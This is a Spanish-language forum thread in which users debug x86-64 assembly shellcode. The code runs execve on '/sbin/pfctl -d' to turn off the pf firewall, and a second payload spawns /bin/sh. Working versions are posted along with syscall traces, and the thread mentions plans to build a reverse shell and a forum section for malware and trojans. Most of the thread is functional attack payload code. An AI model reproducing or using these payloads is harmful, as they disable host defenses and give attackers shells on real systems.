Shellcode direcciones

Iniciado por cpu2, 8 Diciembre 2012, 09:29 AM

0 Miembros y 1 Visitante están viendo este tema.

cpu2

Hola

Estoy creando una shellcode para que desactive pf, y tengo el siguiente problema.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

pushq %rax
push $0x6c746366
push $0x702f6e69
push $0x62732f2f
movq %rsp, %rdi
pushq %rax
push $0x642d
pushq %rdi
movq %rsp, %rsi
xorq %rax, %rax
movb $0x3b, %al
int $0x80

xorq %rax, %rax
movb $0x01, %al
int $0x80


No presenta ninguna segmentation fault así que la tracé.


11277 l        CALL  execve(0x7f7fffff6960,0x7f7fffff6948,0)
11277 l        NAMI  "//sb"
11277 l        RET   execve -1 errno 2 No such file or directory
11277 l        CALL  exit(0x7f7fffff6960)


Al cargar la dirección de pfctl, solo copia en el registro rdi 0x62732f2f "//sb" no entiendo porque no carga la dirección completa.

Un saludo.

cpu2

#1
Hice una de /bin/sh y funciona.

Código (asm) [Seleccionar]
.section .text
.globl _start
_start:

pushq %rax
movq $0x68732f6e69622f2f, %rax
pushq %rax
movq %rsp, %rdi
xchgq %rax, %rbx
pushq %rax
movq %rsp, %rsi
movb $0x3b, %al
int $0x80


La dirección es de 64bits, por eso la puedo copiar a rax, pero que pasa cuando es mayor como la de arriba por que no funcionan los push?

Un saludo.

cpu2

Perdón por el triple post.

Probé los push en una arquitectura de 32 bits y funcionan, porque en la de 64 bits no?

¿Como podría hacer eso en la de 64 bits?

Un saludo.

avesudra

#3
Por lo que he estado leyendo no se puede hacer push con registros de 32 bits tiene que ser con el de 64 entero si se está programando en 64 bits ya que la pila se maneja así.. Yo no tengo mucha idea aviso eh  :laugh: pero no se ¿se podría hacer esto?:
Código (asm) [Seleccionar]
   .section .text
.globl _start
_start:

pushq %rax
pushq $0x6c746366
pushq $0x702f6e69
pushq $0x62732f2f
movq %rsp, %rdi
pushq %rax
pushq $0x642d
pushq %rdi
movq %rsp, %rsi
xorq %rax, %rax
movb $0x3b, %al
int $0x80
   
xorq %rax, %rax
movb $0x01, %al
int $0x80


¿O la he liado demasiado?
He sacado esto de la documentación de AMD:
CitarIn 64-bit mode, the operand size of all PUSH instructions defaults to 64 bits, and there is no prefix available to encode a 32-bit operand size. Using the PUSH CS, PUSH DS, PUSH ES, or PUSH SS instructions in 64-bit mode generates an invalid-opcode exception.
Pushing an odd number of 16-bit operands when the stack address-size attribute is 32 results in a misaligned stack pointer.
Fuente: http://support.amd.com/us/Processor_TechDocs/24594_APM_v3.pdf
Regístrate en

cpu2

No entendiste mí pregunta, si puedo hacer push con esas direcciones de 32 bits lo que pasa es que solo copia la primera dirección las otras dos no.

Código (asm) [Seleccionar]

push $0x6c746366
push $0x702f6e69
push $0x62732f2f    #  //sb


11277 l        CALL  execve(0x7f7fffff6960,0x7f7fffff6948,0)
11277 l        NAMI "//sb"
11277 l        RET   execve -1 errno 2 No such file or directory
11277 l        CALL  exit(0x7f7fffff6960)


Pero en una arquitectura de 32 bits si que funcionan.

En cuanto a tú solución, no la liaste, pero las q no afectan en nada eso ya lo probé antes de que lo dijeras, como dice ese fragmento sacado de los manuales de AMD si que puedo hacer push a 16-bit pero me deja un opcode (bad).

La solución es mover bits ala derecha con shr, así funciono, lo probé con otro código, cuando lo tenga implementado en la shellcode lo subo.

Un saludo.

P.D: La shellcode de /bin/sh pesa un byte menos con un xchg.

P.D2: Todo esto lo quiero implementar en una reverse shell, pero nose si se pueden subir esos códigos al foro.

0xDani

Claro que se puede subir una reverse shell al foro, si hay un subforo de analisis y diseño de malware y se suben troyanos  ;)
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

cpu2

#6
Código (asm) [Seleccionar]
.section .text
.globl _start

_start:

pushq %rax
pushw $0x642d
movq %rsp, %r8
movq $0x6c7463ffffffffff, %rax
shrq $0x28, %rax
pushq %rax
movq $0x66702f6e6962732f, %rax
pushq %rax
movq %rsp, %rdi
xchgq %rax, %r9
pushq %rax
pushq %r8
pushq %rdi
movq %rsp, %rsi
movb $0x3b, %al
syscall


Mueve 40 bits ala derecha, las ff, dejando espacio para la segunda dirección.

Miraré los manuales de intel o amd tendra que poner algo sobre el stack de 64 bits, en la arquitectura de 32 bits no hace falta mover bits, no sé es como si la de 64 bits no reservara espacio, no lo entiendo del todo.

Un saludo.

P.D: Tema resuelto.

avesudra

Que curioso, entonces al final lo que te quedaría en la pila sería:

Código (asm) [Seleccionar]
0x00000000006c7463
0x66702f6e6962732f


Pero en tu primero código si funcionase te quedaría así:

Código (asm) [Seleccionar]
0x000000006c746366
0x00000000702f6e69
0x0000000062732f2f


¿Eso no importa? Perdona por la ignorancia  :-\
Regístrate en

cpu2

Exacto, tú mismo contestaste tú pregunta, si no moviera esos 5 byte seria así:

Código (asm) [Seleccionar]
0x6c7463ffffffffff
0x66702f6e6962732f


Y el de 32 bits no funciona por culpa de los byte nulos, por eso solo reconoce //sb.

Un saludo.

P.D: Hice como un ejercicio con la syscall write, lo quieres?